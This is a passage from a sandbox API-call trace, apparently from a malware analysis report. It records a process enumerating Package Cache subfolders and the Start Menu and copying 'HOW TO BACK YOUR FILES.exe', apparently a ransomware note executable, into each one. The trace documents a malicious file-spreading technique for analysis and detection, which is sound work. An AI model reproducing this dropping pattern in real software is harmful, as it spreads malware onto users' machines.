files.exe"), bFailIfExists=1) returned 0 [0100.634] FindNextFileW (in: hFindFile=0x529690, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", cAlternateFileName="{68306~1.250")) returned 1 [0100.634] lstrcatW (in: lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="\\" | out: lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\") returned="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\" [0100.634] lstrcatW (in: lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\HOW TO BACK YOUR FILES.exe") returned="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\HOW TO BACK YOUR FILES.exe" [0100.634] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.635] FindNextFileW (in: hFindFile=0x529690, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", cAlternateFileName="{8D4F7~1.250")) returned 1 [0100.635] lstrcatW (in: lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="\\" | out: lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\") returned="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\" [0100.635] lstrcatW (in: lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\HOW TO BACK YOUR FILES.exe") returned="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\HOW TO BACK YOUR FILES.exe" [0100.635] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.636] FindNextFileW (in: hFindFile=0x529690, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4bc8320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bc8320, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1 [0100.636] lstrcatW (in: lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="\\" | out: lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\") returned="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\" [0100.636] lstrcatW (in: lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\HOW TO BACK YOUR FILES.exe") returned="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\HOW TO BACK YOUR FILES.exe" [0100.636] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.636] FindNextFileW (in: hFindFile=0x529690, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4bc8320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bc8320, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1 [0100.636] lstrcatW (in: lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="\\" | out: lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\") returned="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\" [0100.636] lstrcatW (in: lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\HOW TO BACK YOUR FILES.exe") returned="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\HOW TO BACK YOUR FILES.exe" [0100.636] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.637] FindNextFileW (in: hFindFile=0x529690, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4bc8320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bc8320, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1 [0100.637] lstrcatW (in: lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="\\" | out: lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\") returned="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\" [0100.637] lstrcatW (in: lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\HOW TO BACK YOUR FILES.exe") returned="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\HOW TO BACK YOUR FILES.exe" [0100.637] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.637] FindNextFileW (in: hFindFile=0x529690, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bee480, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1 [0100.637] lstrcatW (in: lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="\\" | out: lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\") returned="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\" [0100.637] lstrcatW (in: lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\HOW TO BACK YOUR FILES.exe") returned="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\HOW TO BACK YOUR FILES.exe" [0100.638] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.638] FindNextFileW (in: hFindFile=0x529690, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xe26aa820, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe26aa820, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1 [0100.638] lstrcatW (in: lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="\\" | out: lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\" [0100.638] lstrcatW (in: lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\HOW TO BACK YOUR FILES.exe") returned="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\HOW TO BACK YOUR FILES.exe" [0100.638] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.639] FindNextFileW (in: hFindFile=0x529690, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bee480, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1 [0100.639] lstrcatW (in: lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="\\" | out: lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\") returned="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\" [0100.639] lstrcatW (in: lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\HOW TO BACK YOUR FILES.exe") returned="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\HOW TO BACK YOUR FILES.exe" [0100.639] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.639] FindNextFileW (in: hFindFile=0x529690, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bee480, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", cAlternateFileName="{E5127~1.250")) returned 1 [0100.639] lstrcatW (in: lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="\\" | out: lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\") returned="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\" [0100.639] lstrcatW (in: lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\HOW TO BACK YOUR FILES.exe") returned="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\HOW TO BACK YOUR FILES.exe" [0100.639] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.640] FindNextFileW (in: hFindFile=0x529690, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xe29a43a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe29a43a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{e52a6842-b0ac-476e-b48f-378a97a67346}", cAlternateFileName="{E52A6~1")) returned 1 [0100.640] lstrcatW (in: lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="\\" | out: lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned="{e52a6842-b0ac-476e-b48f-378a97a67346}\\" [0100.640] lstrcatW (in: lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}\\HOW TO BACK YOUR FILES.exe") returned="{e52a6842-b0ac-476e-b48f-378a97a67346}\\HOW TO BACK YOUR FILES.exe" [0100.640] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.641] FindNextFileW (in: hFindFile=0x529690, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xe2b472c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2b472c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1 [0100.641] lstrcatW (in: lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="\\" | out: lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned="{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\" [0100.641] lstrcatW (in: lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\HOW TO BACK YOUR FILES.exe") returned="{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\HOW TO BACK YOUR FILES.exe" [0100.641] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.641] FindNextFileW (in: hFindFile=0x529690, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xe2c059a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2c059a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", cAlternateFileName="{F325F~1")) returned 1 [0100.641] lstrcatW (in: lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="\\" | out: lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned="{f325f05b-f963-4640-a43b-c8a494cdda0f}\\" [0100.641] lstrcatW (in: lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}\\HOW TO BACK YOUR FILES.exe") returned="{f325f05b-f963-4640-a43b-c8a494cdda0f}\\HOW TO BACK YOUR FILES.exe" [0100.641] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.642] FindNextFileW (in: hFindFile=0x529690, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4c145e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4c145e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1 [0100.642] lstrcatW (in: lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="\\" | out: lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\") returned="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\" [0100.642] lstrcatW (in: lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\HOW TO BACK YOUR FILES.exe") returned="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\HOW TO BACK YOUR FILES.exe" [0100.642] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.642] FindNextFileW (in: hFindFile=0x529690, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4c145e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4c145e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0 [0100.642] FindClose (in: hFindFile=0x529690 | out: hFindFile=0x529690) returned 1 [0100.643] ReleaseMutex (hMutex=0xec) returned 1 [0100.643] CloseHandle (hObject=0xec) returned 1 [0100.643] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\All Users\\Start Menu" | out: lpString1="C:\\Users\\All Users\\Start Menu") returned="C:\\Users\\All Users\\Start Menu" [0100.643] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50f9e8 | out: hHeap=0x4f0000) returned 1 [0100.643] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b0c8 | out: hHeap=0x4f0000) returned 1 [0100.643] lstrlenW (lpString="C:\\Users\\All Users\\Start Menu") returned 29 [0100.643] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\3781436AD85FC28BA252E47D2FA44FF9") returned 0xec [0100.643] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.643] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Start Menu" | out: lpString1="C:\\Users\\All Users\\Start Menu") returned="C:\\Users\\All Users\\Start Menu" [0100.643] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.643] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.643] CreateFileW (lpFileName="C:\\Users\\All Users\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\start menu\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.644] GetLastError () returned 0x0 [0100.644] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.644] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.644] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.645] CloseHandle (hObject=0xf4) returned 1 [0100.645] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.645] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.645] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Start Menu\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc4c86a00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4c86a00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529690 [0100.645] lstrcatW (in: lpString1="Programs", lpString2="\\" | out: lpString1="Programs\\") returned="Programs\\" [0100.645] lstrcatW (in: lpString1="Programs\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Programs\\HOW TO BACK YOUR FILES.exe") returned="Programs\\HOW TO BACK YOUR FILES.exe" [0100.645] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Start Menu\\Programs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\start menu\\programs\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.645] FindNextFileW (in: hFindFile=0x529690, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f57ecb5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f57ecb5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0xc4c86a00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, 